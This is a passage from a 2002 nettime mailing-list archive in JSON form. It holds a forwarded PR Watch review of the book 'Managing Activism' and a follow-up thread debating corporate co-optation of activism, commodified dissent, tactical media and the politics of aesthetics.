                "url": "https://nettime.org/Lists-Archives/nettime-l-0111/msg00078.html",
                "list": "nettime_l",
                "author_name": "kadian antal",
                "subject": "<nettime> subsol preview: \"Notes on Sovereign Media\""
            },
            {
                "id": "00144",
                "content": "\n\nRemember the Nestle boycott? \n\nEver wonder what happened to it?\n\n\"...activist efforts are being deliberately targeted for defeat by corporate \nfunding, partnership and co-optation. \"\n\nernie\n\n------- Forwarded message follows -------\nTo: \n\n \n\n \n\n \n\n \n\n \n\n \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\nNYC-DAN {AT} topica.com\nFrom: \n\n \n\n \n\n \n\n \n\n \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\nchristinekaratnytsky {AT} juno.com\nSubject: \n\n \n\n \n\n \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n[DAN] Managing Activism: PR Advice for \n\"Neutralizing\" Democracy\nDate sent: \n\n \n\n \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\nFri, 19 Jul 2002 20:26:24 GMT\nSend reply to: \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\nchristinekaratnytsky {AT} juno.com\n\nThe Second Quarter 2002 issue of PR Watch\n\nManaging Activism: PR Advice for \"Neutralizing\" Democracy\n\nBook Review by John Stauber\n\nWhen I first picked up Denise Deegan's book, Managing Activism: A\nGuide to Dealing with Activists and Pressure Groups, I imagined a\nroomful of uniformed pest applicators at the Orkin company, sitting\non benches like military aviators before a bombing mission, being\nbriefed on the best tools available for eradicating cockroaches. I\nwas a spy for the roaches--the pesty \"activists\" that Deegan works to\n\"manage.\" Roaches don't generally read the \"how to\" manuals written\nby their would-be exterminators, but activists certainly should.\n\nAs someone who has spent the last decade investigating the seamy side\nof the \"perceptions management\" industry, I wish I could tell you\nthat this book is a gold mine of revelation, but for me it is not.\nStill, I recommend that my fellow citizens read this book. It is\nwritten in classroom text-like fashion, and the author is careful to\nput the best face on her profession and not include advice that might\noffend the atypical reader. Nevertheless, it can help people working\nfor democratic social change to understand the often successful ways\nin which we are targeted for defeat, especially the \"good cop/bad\ncop\" tactic for dividing and conquering activists through\n\"partnering\" and co-optation by industry. For activists, Deegan's\nbook provides a primer on how to recognize these traps and hopefully\navoid them.\n\nManaging Activism is written for PR practitioners whose clients\nengage in risky businesses (fossil fuels, pesticides, genetically\nengineered foods, nuclear waste, toxic dumps, animal testing) and who\ntherefore become the targets of \"activist groups\" including\n\"environmentalists, workers' rights activists, animal rights groups\nand human rights campaigners.\" Don't expect much sympathy for the\nactivists. Deegan is a battle-hardened PR veteran and a committed\nsoldier in the war against activists who \"in an increasingly\npluralistic society\" present what she calls \"a growing threat to\norganizations of all shapes and sizes. And because activists employ a\nwide range of aggressive tactics such as generating bad publicity,\nseeking government and legislative intervention, encouraging\nboycotts, etc., they can cause severe disruption, including damage to\nreputation, sales, profitability, employee satisfaction and, of\ncourse, share price.\"\n\nThe picture that Deegan paints is undoubtedly a chilling scenario if\nyou are an executive or major share holder in companies like Monsanto\nor DuPont that have long histories of worldwide trade in everything\nfrom nuclear weapon components to pesticides and genetically modified\ncrops. What's a besieged CEO to do?\n\n\"Fortunately, if dealt with in the right manner, activists have been\nshown to change their approach from aggressively confrontational to\ncooperative,\" Deegan promises. \"Learning to manage activists involves\nlearning about activists. Who are they? What do they want? What will\nthey do to achieve their objectives? And most importantly, what is\nthe best way to deal with them?\"\n\nDeegan's recommendations are similar to the advice which comes from\nPeter Sandman, E. Bruce Harrison, James Lukaszewski, Paul Gilding and\nother \"crisis management\" experts whom Sheldon Rampton and I cover in\nour work for PR Watch.Unfortunately, this entire area of PR--how to\ndefeat activism--is insufficiently scrutinized by the citizens who\nneed most to be aware of it, the activists themselves. Until we\n\"cockroaches\" understand the strategies of the \"exterminators,\" the\nPR roach hotels built by corporate crisis management practitioners\nwill continue to entrap movements for democracy, ecological\nsustainability, fair trade, human rights, social justice, and all\nthose other extreme threats to the corporate bottom-line. Social\nactivists like to believe that we are too committed to our causes,\ntoo worldly and aware to be sweet-talked into unwitting submission by\nsitting down and partnering with the enemy. As Deegan reiterates,\nhowever, industry continues to regard this sort of \"dialogue\" as its\nmost effective method for managing activists.\n\nDeegan's book tries to put the best face on the practice of \"managing\nactivism,\" which may explain why she avoids mentioning the\nWashington-based PR firm of Mongoven, Biscoe and Duchin (MBD), one of\nthe worldwide leaders in this particular PR subspecialty. As we have\ndocumented previously, MBD grew out of the successful effort by one\nof its founders, Jack Mongoven, to defeat the large religious-lead\nboycott campaign aimed at the Nestl\u00e9 corporation for its deadly\npromotion of infant formula in the third world. In activist lore this\nboycott is touted as a major victory, but in the corporate world it\nis understood that industry really won the day by pulling the rug out\nfrom the campaign. By making selective concessions to the activists,\nNestl\u00e9 succeeded in negotiating an end to the boycott. Later,\nactivists were dismayed to discover that its infant formula marketing\npractices are continuing with only token changes. Third world\nchildren continue to die, but today their plight receives little\nattention, and activists have found that a boycott, once terminated,\nis not easily turned back on.\n\nMBD is a sort of spy operation. Its dozens of employees relentlessly\ncompile dossiers on activists of all sizes and shapes the world over,\nadvising industry how to defeat them. Their favorite method is a\n\"divide and conquer\" strategy heavily dependent on co-optation: First\nidentify the \"radicals\" who are unwilling to compromise and who are\ndemanding fundamental changes to redress the problem at hand. Then,\nidentify the \"realists\"--typically, organizations with significant\nbudgets and staffs working in the same relative area of public\nconcern as the radicals. Then, approach these realists, often through\na friendly third party, start a dialogue and eventually cut a deal, a\n\"win win\" solution that marginalizes and excludes the radicals and\ntheir demands. Next, go with the realists to the \"idealists\" who have\nlearned about the problem through the work of the radicals. Convince\nthe idealists that a \"win-win\" solution endorsed by the realists is\nbest for the community as a whole. Once this has been accomplished,\nthe \"radicals\" can be shut out as extremists, the PR fix is in, and\nthe deal can be touted in the media to make the corporation and its\n\"moderate\" nonprofit partners look heroic for solving the problem.\nResult: industry may have to make some small or temporary\nconcessions, but the fundamental concerns raised by the \"radicals\"\nare swept aside.\n\nThis, in a nutshell, is the strategy that Deegan recommends in what\nshe calls \"one of the first books to offer a 'how to . . .' format to\nhelp people cope with the threat of activism.\" I especially recommend\nher chapters on \"relationship building, negotiation and conflict\nresolution\" and \"media relations.\" Reading these chapters should help\ndrive home the realization that activist efforts are being\ndeliberately targeted for defeat by corporate funding, partnership\nand co-optation. These may seem like unusual weapons, but PR crisis\nmanagers have taken to heart the advice of military strategist Carl\nVon Clausewitz: \"We see then that there are many ways to one's object\nin War; that the complete subjugation of the enemy is not essential\nin every case.\"\n\nActivist readers should remember that Deegan's book only offers part\nof the story, the sanitized version. It does not go into all the\nreal-world ways in which nasty, smear attacks against activists are\nwaged and funded by the same corporations and industries offering the\noutstretched hand of partnership. For the \"rest of the story,\" also\nread Secrets and Lies: The Anatomy of an Anti-Environmental PR\nCampaign, by Nicky Hager and Bob Burton. Secrets and Lies is included\nin Deegan's \"recommended reading\" list. Based on a mother lode of\nleaked documents, its revelations of anti-environmental dirty tricks\nin New Zealand proved so shocking to citizens there that its\npublication contributed to the political downfall of the head of\nstate.\n\nhttp://www.prwatch.org/prwissues/2002Q2/managing.html\nThe laws of ecology: \"All things are interconnected. Everything goes\nsomewhere. There's no such thing as a free lunch. Nature bats last.\"\nby Ernest Callenbach\n\n\n___________________________\nRadio4All - http://www.radio4all.org\n\nThe A-Infos Radio Project - http://www.radio4all.net\n\nUnwelcome Guests - http://www.radio4all.org/unwelcome\n\nAnarchism In Action - http://www.radio4all.org/aia\n\n\n\n#################################################################\n\" Social and economic well-being will become a reality only through the\nzeal, courage, the non-compromising determination of intelligent\nminorities, and not through the mass.\" \n\nEmma Goldman\n\nTo SUBSCRIBE/UNSUBSCRIBE to the emmasdance list send email to\n<majordomo {AT} cs.pdx.edu>\nwith the message subscribe/unsubscribe emmasdance. [No subject is\nneeded.]\n\n\"If I can not dance, I want no part in your revolution.\" \n\nEmma Goldman\n\n#################################################################\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                "to": "nettime <nettime-l {AT} bbs.thing.net>",
                "url": "https://nettime.org/Lists-Archives/nettime-l-0207/msg00144.html",
                "list": "nettime_l",
                "author_name": "ernie yacub",
                "subject": "<nettime> how to defeat activism",
                "from": "ernie yacub <yacinfo {AT} mars.ark.com>",
                "follow-up": [
                    {
                        "from": "\"Kermit Snelson\" <ksnelson {AT} subjectivity.com>",
                        "content": "\n\nIt isn't news that protest movements are being simultaneously intimidated\nby violence, bribed into submission with money or perquisites, slandered\nin the media and infiltrated by police and intelligence agencies.  It was\never thus, and so will it ever be.  My favorite thought concerning this\nproblem was Lenin's.  He was once asked in the early days what he did when\nthe Czar's secret police managed to infiltrate his organizations.  He\nreplied, \"We put them to work.\"  Not yet in command of Siberia's prison\ncamps, \"work\" to Lenin then meant passing out leaflets in the street.\n\nAre successful activists themselves innocent of sharp-elbowed political\ntactics?  Of course not, nor should they be.  Violence?  Seattle is famous\nprecisely because the military tactics of the demonstrators defeated those\nof the police (and also of rival demonstrators.)  Bribing with money and\nperquisites?  Look how far Bono gets with the Washington and Davos crowds\nsimply by flattering those congenitally hankering geeks with his star\npresence and glamour.  Slandering opponents in the media?  That's the\nraison d'\u0119tre of most activist groups these days.  Infiltrating opposing\ngroups? If activists aren't doing much of this, they damn well should be.\n\nPolitical struggle is political struggle regardless of which side you're\non. The winners tend to be those who grasp the facts quickly, persuade\nsuccessfully and organize appropriately.  On the other hand, there are\nthose who let themselves be convinced by thick, incoherent \"movement\"\nbestsellers that facts are not something to be grasped, but invented; that\nthe purpose of political writing is not to persuade, but to mystify; that\ndisorganization and mob rule are not political weaknesses, but strengths;\nand that name-calling, body piercing and rioting comprise \"cultural labor\"\nand effective political resistance.  Are we suddenly so eager to find\nexamples of how corporate interests are turning activism into slacktivism?\nWhy look further than the Harvard University Press?  Or Duke University's\nJoe Camel Center for Marxist Studies?\n\nBut my aim here isn't to load the thread with illustrations of how \"they\",\neven the best-selling \"Marxist\" superstars in tobacco-funded US\nuniversities, are undermining \"our\" movements.  That's not to say they\nwouldn't be correct.  It is indeed an example of the success of their\ntactics, and the ludicrous failure of ours, that the world's protest\nmovement now amounts to not much more than yet another Americanized,\nStarbucks-style, middle-class lifestyle choice based on the consumption of\naggressively marketed fad products.  But I think it would be only an\nexercise in resentment to complain about the tactics directed against our\nclueless selves in a class struggle which is, after all, not only a fact\nof life but even a sign of health.  And to speak of its potential news\nvalue, such a complaint could just as easily have appeared in 1886.\n\nWhat I'm arguing, instead, is that changing the world means embracing the\nGreat Game and playing to win.  This means not only that you must enter\nthe same brotherhood as your opponents, but even that such a brotherhood\nof opponents is perhaps the only true one.  \"Napoleon died on St. Helena.\nWellington was saddened.\"  It is indeed impossible to resist without being\nattacked, and (worse, in the eyes of some) without becoming part of the\ngame itself.  Anybody who has ever made it onto the world's stage, whether\nthe name was George Bush or Martin Luther King, has known that.  But what\nis so horrifying about this?  And what on Earth is so appealing about\n\"negative critique\" ideologies that glorify permanent marginalization,\npermanent poverty, permanent failure?  That refuse to advance any positive\nrecommendation for fear that one may actually succeed through\n\"co-optation\"? That view even being called to the negotiating table by\none's opponent as a destructive act of hostility that must be refused?  \nThat in fact glorify \"The Great Refusal\" as an end in itself?\n\nHistory has occasionally given us saints, but their probability is so\nvanishingly small that only a few generations can boast of one.  So\nbarring that, the only real alternative to struggle, negotiation and\ncompromise with the real world is a retreat into suicidal insanity and\ndestruction.  Having read both Hamlet and Thucydides, the only reason I\nclaim news value for this observation is that we recently seem to have\nentered a period in which such an ethos of negation and inward-looking\ndespair, previously only a sad but private personal neurosis, is again a\ndangerous world-historical force. Even when disguised as religious fervor\n(bin Laden) or as a pseudo-revolutionary mania of desire (Negri), this\nutterly sick but growing resentment and refusal of rough-and-tumble\nreality is something activists should fight, not embrace.\n\nKermit Snelson\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                        "id": "00152",
                        "date": "Mon, 22 Jul 2002 20:19:19 -0700",
                        "to": "<nettime-l {AT} bbs.thing.net>",
                        "message-id": "200207231228.IAA14284 {AT} bbs.thing.net",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-0207/msg00152.html",
                        "content-type": "text/plai",
                        "author_name": "Kermit Snelson",
                        "subject": "RE: <nettime> how to defeat activism"
                    },
                    {
                        "from": "\"N Jett\" <njett {AT} hotmail.com>",
                        "content": "\n>It is indeed an example of the success of their\n>tactics, and the ludicrous failure of ours, that the world's protest\n>movement now amounts to not much more than yet another Americanized,\n>Starbucks-style, middle-class lifestyle choice based on the consumption of\n>aggressively marketed fad products.\n\nCorporate media is designed to sell... process activism through it and you \nend up with \"commodified dissent\"... is that your argument? Perhaps it's an \nattempt at subverting pop culture? \"Infiltration\" as you mentioned elseware \nin your essay.\n\n\n\n>And what on Earth is so appealing about\n>\"negative critique\" ideologies that glorify permanent marginalization,\n>permanent poverty, permanent failure?  That refuse to advance any positive\n>recommendation for fear that one may actually succeed through\n>\"co-optation\"? That view even being called to the negotiating table by\n>one's opponent as a destructive act of hostility that must be refused?\n>That in fact glorify \"The Great Refusal\" as an end in itself?\n>\n\nI think you might of answered your own question:\n\"yet another Americanized,\nStarbucks-style, middle-class lifestyle choice based on the consumption of \naggressively marketed fad products.\"\n\nBut one manufactured by groups which seek to maintain a certain form of \nmonopoly/oligopoly on the production of the \"lifestyle choice\". Maybe it \nreally is all just about being \"cool\" and not \"selling out\"?\n\n\n_________________________________________________________________\nSend and receive Hotmail on your mobile device: http://mobile.msn.com\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                        "id": "00156",
                        "date": "Tue, 23 Jul 2002 22:33:56 +0000",
                        "to": "nettime-l {AT} bbs.thing.net",
                        "message-id": "200207241829.OAA19495 {AT} bbs.thing.net",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-0207/msg00156.html",
                        "content-type": "text/plai",
                        "author_name": "N Jett",
                        "subject": "RE: <nettime> how to defeat activism"
                    },
                    {
                        "from": "\"Kermit Snelson\" <ksnelson {AT} subjectivity.com>",
                        "content": "\n> Corporate media is designed to sell... process activism\n> through it and you end up with \"commodified dissent\"... is\n> that your argument?  Perhaps it's an attempt at subverting\n> pop culture?\n\nI think the term \"commodified dissent\" is a bit too mild for what I'm\nclaiming.  Under Negri and Jameson (et alia), the ideology of progressive\nactivism has degenerated far beyond what was formerly simple, harmless\n\"commodified dissent.\"  In fact, it has now become the developed world's\nfirst version of a primitive Polynesian cargo cult.\n\nThe first stages of this development took place in the 1960s, when Marcuse\ndivorced radical theory from the economic concerns of working people and\ncast it instead around psychological \"issues\" of identity formation and\nsexual awakening.  And so the tool developed by Karl Marx for the use of\nworking people and statesmen degenerated into something that could seriously\ninterest only confused adolescents.  This well-heeled adolescent confusion\ndid, however, create vast fortunes for record companies, rock stars, drug\ndealers, and even a few university professors.  \"Commodified dissent\" was\nborn.\n\nSome of those adolescents, as they grew older, eventually discovered that\nactivism based on such theories wasn't accomplishing much in the world of\ngrownups.  And more importantly, it wasn't supporting them in the style to\nwhich they had grown accustomed as children.  And so they founded businesses\nlike ecotourism, which cart their customers over vast distances so they can\ntrample and disturb the fragile things they care so much about.  Like \"The\nBody Shop\", which decorates the world's swank retail districts and duty-free\nairport concourses with posters of picturesque poor people.  Like \"Ben &\nJerry's\", the Unilever subsidiary that allows people to express their deep\nconcern over the rape of the Earth by eating ice cream with names like\n\"Rainforest Crunch.\"  And now the new chain of retail \"Fair Trade\"\nstorefronts brought to you by the Global Exchange organization, the goal of\nwhich apparently is to do for the world's traditional, tourist-oriented\naboriginal craft stands what Starbucks did for the world's coffee houses.\nAnd since any new industry needs a new legal framework, the university\nprogressives have now been put to work on a jurisprudence of the marketably\npicturesque, granting intellectual property rights and other forms of legal\npersonality to the native cultures, species and even scenery (which the\ninternational securities trade calls \"hospitality assets\") on which such\nbusinesses depend.  Welcome to \"commodified dissent\", Phase II.\n\nThe third and final stage in the cultural logic of late activism then comes\nto pass just as the world's free and civilized peoples are now on their way\nback into an age of lawless slavery to unaccountable masters.  The developed\nworld's most prestigious universities, just as the doomed Paiute Indian\ntribes in the USA did during the 1890s, have responded to this grim prospect\nby producing prophets of the Ghost Dance.  Think of today's academic talk of\nstreet theater and other forms of artistic activism, of learned discourses\nby F\u00e9lix Guattari about liberating the world through a revival of\n\"aboriginal subjectivities,\" of chained-together Zerzanites at WTO meetings,\nof monographs from Australian universities touting the liberatory benefits\nof a copyrighted Dreamtime, while reading this:\n\n     \"In January 1889, a Paiute Indian, Wavoka, or Jack Wilson, had a\nrevelation during a total eclipse of the sun. It was the genesis of a\nreligious movement that would become known as the Ghost Dance. It was this\ndance that the Indians believed would reunite them with friends and\nrelatives in the ghost world. As the movement spread from tribe to tribe, it\nsoon took on proportions beyond its original intent and desperate Indians\nbegan dancing and singing the songs that would cause the world to open up\nand swallow all other people while the Indians and their friends would\nremain on this land, which would return to its beautiful and natural state.\nThe unity and fervor that the Ghost Dance Movement inspired, however,\nspurred only fear and hysteria among white settlers which ultimately\ncontributed to the events ending in the massacre at Wounded Knee.\" [1]\n\nClosely allied with the latter-day Ghost Dance prophets are today's\n\"tactical media\" theorists.  They have invented the developed world's first\nversion of the cargo cults that originally appeared among the doomed native\ncultures of Polynesia in the 1930s, spreading the gospel of a New\nDispensation based on consumer electronics.  And this message goes far\nbeyond their advocacy of intellectual consumption rather than production, or\ntheir \"aesthetic of poaching, tricking, reading, speaking, strolling,\nshopping, desiring\" [2].  For that would simply be an updated version of\nsecretly spitting into massa's meal in the kitchen before serving it to him\nin the dining room.\n\nNo, the modern \"cargo cult\" of consumer electronics goes far beyond this,\neven to the point of forecasting that the consumer electronics revolution\nwill create a post-human cybernetic subject that will evolve in biological\nsymbiosis with its machines and eventually free mankind forever from all\nforms of physical bondage.  Of course, this kind of talk delights consumer\nelectronics manufacturers like Motorola, who have indeed recently shown\nthemselves to be more than happy to fund such very scientific results.  And\nthus we have reached \"commodity dissent\" in its highest and final form.\nJust as it proved to be for the American Indians and the Polynesians.  The\nrest is silence.\n\nKermit Snelson\n\nNotes:\n[1]\nhttp://msnbc.com/onair/msnbc/TimeandAgain/archive/wknee/ghost.asp?cp1=1\n[2]\nhttp://amsterdam.nettime.org/Lists-Archives/nettime-l-9705/msg00096.html\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                        "id": "00176",
                        "date": "Thu, 25 Jul 2002 14:34:19 -0700",
                        "to": "<nettime-l {AT} bbs.thing.net>",
                        "message-id": "200207271840.OAA15539 {AT} bbs.thing.net",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-0207/msg00176.html",
                        "content-type": "text/plai",
                        "author_name": "Kermit Snelson",
                        "subject": "RE: <nettime> how to defeat activism"
                    },
                    {
                        "from": "David Garcia <davidg {AT} xs4all.nl>",
                        "content": "\n\n\n\n> I think the term \"commodified dissent\" is a bit too mild for what I'm\n> claiming.  Under Negri and Jameson (et alia), the ideology of progressive\n> activism has degenerated far beyond what was formerly simple, harmless\n> \"commodified dissent.\"  In fact, it has now become the developed world's\n> first version of a primitive Polynesian cargo cult.\n>\n> The first stages of this development took place in the 1960s, when Marcuse\n> divorced radical theory from the economic concerns of working people and\n> cast it instead around psychological \"issues\" of identity formation and\n> sexual awakening.  And so the tool developed by Karl Marx for the use of\n> working people and statesmen degenerated into something that could seriously\n> interest only confused adolescents.  This well-heeled adolescent confusion\n> did, however, create vast fortunes for record companies, rock stars, drug\n> dealers, and even a few university professors.  \"Commodified dissent\" was\n> born.\n\n\"Man does not live by bread alone\". Economic relations may be the\nfoundation but they are not the whole building. \"The tool (as Kermit\ndescribes it) developed by Karl Marx for use of working people and\nstatesman\" (deployed also, by the latter, in creating the terror and the\nGulags, definitely an \"adult\" outcome, and no doubt to be as much\nregretted as Ben and Jerry's, the Body Shop and eco-tourism) was also\nemployed by those involved in *cultural* transformation, in practice, by\nthe likes Rodchenko, van Doesburg, El Lissitzky, and Tatlin, and in theory\nby Lukacs and Adorno, including Marx himself who also wrote about art.\n\nIf we are looking for the origins of, what Kermit suggests is, the\nadolescent illusion that the psychological \"issues\" of identity formation\"\n(imagination, to the Romantics) might have an important role to play in\nrevolutionary change we have to go further back than the utopian fever of\nthe 1960's. Further back than Marcuse and Mcluhan with their promise of\nthe \"global villages and multi-dimensional societies\". Further back than\nthe collective delirium induced by Jimi Hendrix, Janis Joplin et al.\nFurther back than Joseph Beuys's founding of the German Student party in\n1967 and making human creativity and the principal of \"everyone an artist\"\nthe basis of all he did. Further back than the Whole Earth Catalogue's\nfirst encyclopedic listings enabling access to all forms of creativity\n(including an embryonic hacker culture). Back in fact to Romantic\nmovement, beginning in Germany in the second third of the eighteenth\ncentury, to Herder, Fichte, Schiller, Beethoven, Holderlin, Goethe,\nSchlegel, and Novalis's conception of \"the imagination as the Mother of\nall reality\". This was a revolution which began in the imagination of\nartists and poets beginning in Germany, spreading like wildfire across\nEurope and whose most tangible outcome (including both the republic and\nthe terror) was an actual revolution in France.  \"Tain describes the\nromantic movement as a bourgeois revolt against aristocracy after 1789;\n\"romanticism is the expression of the energy and force of the new\narrivistes\". In the narrative myth of the Romantics, the artist plays the\ncentral role. But with the important proviso that the spiritual freedoms\nand the possibilities of self creation enjoyed by artists were the\nrightful legacy of all human subjects. It was not Joseph Beuys in the\n1960's but Novalis in the eighteenth century who first declared that\n\"everyone was an artist\".  \"Since then the drive of every avant garde or\nmodern utopia has been founded on the basis that the practice of artists\nwas to liberate a potential for art making in everyone and shared by\nhumankind as a whole. A potential whose field was aesthetic but whose\nhorizon was political\" And yes for better or for worse the latest eruption\nof this impulse is the \"cargo cult\" called tactical media. However one of\nthe consequences of tactical media's roots in a tech culture, is that\namong the many differences between this and earlier \"CCs\" is that the\nartist's iconic status as imaginative outlaw and exemplar of freedom and\nthe imagination has been replaced by that of the hacker.\n\n\n\n\n\n\n\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                        "id": "00181",
                        "date": "Mon, 29 Jul 2002 12:13:55 +0200",
                        "to": "nettime-l {AT} bbs.thing.net",
                        "message-id": "200207291553.LAA08802 {AT} bbs.thing.net",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-0207/msg00181.html",
                        "content-type": "text/plai",
                        "author_name": "David Garcia",
                        "subject": "Re: <nettime> how to defeat activism"
                    },
                    {
                        "from": "\"wade tillett\" <wade {AT} thefrictioninstitute.org>",
                        "content": "\nThe ghost-dance is only the modern delusion of identity within the\nimploding nihilistic space of colonization. A space which colonizes\nand commodifies this delusion. A space which is this delusion, (i.e.\nBaudrillard's simulacra) the all-consuming image.\nWe dance, as we are already ghosts.\n\"The rest is silence.\"\n\n\n\nThis is all true, I suppose:\n\n The spasms of the dying fish,\nrepackaged as excitement and virtue within the experience economy.\n\nCritiques of identity and modes of consumption stem from the loss\nof any non-colonized space or production. The critique being the final\ncolonization, the particulate colonization. The ideal bio-power\nfacilitated by the self-analysis of the consumer, and finally, of the\nmode\nof living.\n\nThe artist is a traitor. The artist's expeditions mark, claim,\ncommodify, create territories for expansion. The artist runs ahead as\nthe forests are cleared, marking the trees, explaining - these are the\nones to be saved....\n\nCommodity dissent, nothing exists outside the commodity.\n\nIdentity psychology, the self is trapped in space by its form.\nWe dance only to become ghosts.\nSome even say we dance, as we are already ghosts\n- but this is incorrect.\nWe dance, as we are not yet ghosts.\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                        "id": "00188",
                        "date": "Mon, 29 Jul 2002 15:15:55 -0500",
                        "to": "\"nettime-l\" <nettime-l {AT} bbs.thing.net>",
                        "message-id": "200207310259.WAA21281 {AT} bbs.thing.net",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-0207/msg00188.html",
                        "content-type": "text/plai",
                        "author_name": "wade tillett",
                        "subject": "Re: <nettime> how to defeat activism"
                    },
                    {
                        "from": "\"Kermit Snelson\" <ksnelson {AT} subjectivity.com>",
                        "content": "\nDavid Garcia:\n\n> every avant garde or modern utopia has been founded on\n> the basis that the practice of artists was to liberate\n> a potential for art making in everyone and shared by\n> humankind as a whole. A potential whose field was aesthetic\n> but whose horizon was political\n\nDavid's appeal to a pedigree rather than an argument is not advisable.  The\ntrope that \"poets are the unacknowledged legislators of the world\" (Shelley,\n1821) may indeed go back to the Romantics, but the opposing argument has an\neven more distinguished lineage, going back to Plato and perhaps even to\nAmenhotep.\n\nIn Book 10 of the _Republic_, written in the fourth century BCE, Plato notes\nthat the \"quarrel between poetry and philosophy\" was already \"ancient.\"  He\nthen has Socrates go on about the ontologically inferior status of artistic\nproduction.  So it's no surprise that when Plato finally pronounces on the\ncontroversy as to whether poets or philosophers are the natural rulers of\nthe human polity, he decides, famously, in favor of the philosophers.\n\nIt is strange to be informed that the French Revolution was brought about by\npoets and artists, especially German ones.  If any single \"hacker\" can be\nsaid to have brought about that particular event, it was Jean-Jacques\nRousseau with his \"Discourse on the Arts and Sciences\" (1750).  As anyone\nwho has read that work knows, Rousseau took a rather dim view of art's\neffect on the body politic.  In fact, his essay argues that art be\ncontrolled by an elite in order to preserve civic virtue.  Nor has the home\ntown that Rousseau was proud to call his own, Calvinist Geneva, entered\nhistory with the reputation as being a hotbed of sexual or imaginative\nliberation.  Yet these are the thoughts that preceded the \"Discourse on the\nOrigin of Inequality\" (1754) and the \"Social Contract\" (1762), and which\nfinally culminated in the reign of Robespierre, the Incorruptible.\n\nMy point, however, is not to correct David's history lesson.  It is merely\nto point out that the argument over the political role of art is very old,\nand so important that Plato himself chose it to crown his oeuvre.  And as\nPlato's work was largely a response to the fact that Athenian freedom and\ndemocracy were about to die, I think that we, who are roughly in the same\nposition today, are obliged to examine the idea of \"aesthetic politics\" just\nas ruthlessly as Plato did, and to make it just as central to our analysis.\n\nHitler was perhaps the only one of history's monsters to have started his\ncareer as an art student.  His rejection by the Vienna Academy of Art in\n1907 is arguably the most disastrous thing that has ever happened.  (Or is\nDavid going to argue that he would have been even more powerful politically\nas a professional artist?) But Hitler's sensitivity to artistic issues\ncontinued, remarking later in his career that \"Whoever wants to understand\nNational Socialist Germany must know [Richard] Wagner.\"  His organization of\n\"Degenerate Art\" exhibits are infamous, and there was more than a little\nGerman Romantic aestheticism in his 1934 agreement, with Speer, that the\npublic buildings of the Third Reich be constructed to ensure that they would\neventually make picturesque ruins. [1] Hitler later honored Wagner's former\nfriend Friedrich Nietzsche by personally attending the funeral of the\nphilosopher's sister in 1935.  As we know, Nietzsche began (and ended) his\nacademic publishing career by writing that \"the world is only justified as\nan aesthetic phenomenon.\"  Stalin was also keenly interested in artistic and\naesthetic issues, inventing \"socialist realism\" and personally reviewing\n(uncharitably) Shostakovich symphonies in _Pravda_.\n\nAll of this is only to argue, as Plato knew, that mixing aesthetics and\npolitics makes a deadly cocktail.  Walter Benjamin knew it, too.  In 1936,\nhe wrote that \"The logical result of Fascism is the introduction of\naesthetics into political life.\" [2] He also wrote that \"All efforts to\nrender politics aesthetic culminate in one thing: war.\"  Four years later,\nBenjamin died fleeing that war.\n\nBut what say today's deep thinkers on the subject?  Fredric Jameson doesn't\nget too far into 1991's _Postmodernism, or, The Cultural Logic of Late\nCapitalism_ before pronouncing this flip judgment on Benjamin's dictum:  \"He\nthought [the \"aestheticization\" of reality] meant fascism, but we know it's\nonly fun:  a prodigious exhilaration with the new order of things, a\ncommodity rush.\" [3]  He later elaborates:  \"Culturally I write as a\nrelatively enthusiastic consumer of postmodernism, at least some parts of\nit:  I like the architecture and a lot of the newer visual work, in\nparticular the newer photography.  The music is not bad to listen to, or the\npoetry bad to read ... Food and fashion have also greatly improved, as has\nthe life world generally.\" [4]  Defending the role of aesthetics in politics\nby observing simply that one man's fascism is another man's fun rings more\nthan a bit unpleasantly in a book that also argues that Paul de Man's\ncollaboration with the Nazis was \"simply a job\" [5], and that Heidegger's\ncommitment to Hitler was \"morally and aesthetically preferable to apolitical\nliberalism.\" [6]  Especially since Fascism led Walter Benjamin to an early\ngrave, while Jameson's \"fun\" has led Duke University' famous Marxist\nprofessor to the comfortable summit of America's academic ant hill.\n\nWhat of the role of \"tactical media\" theorists in Jameson's \"commodity\nrush\"?  They are perhaps the first in history (other than Jameson, perhaps)\nto have claimed \"shopping\" as a revolutionary virtue.  But they are\ncertainly not the first to have insisted that a revolution requires a\n\"distinctive and recognizable aesthetic.\" [7]  Hitler certainly did as well.\nSo did Stalin.  So did the Taliban.  No one will ever agree on what is 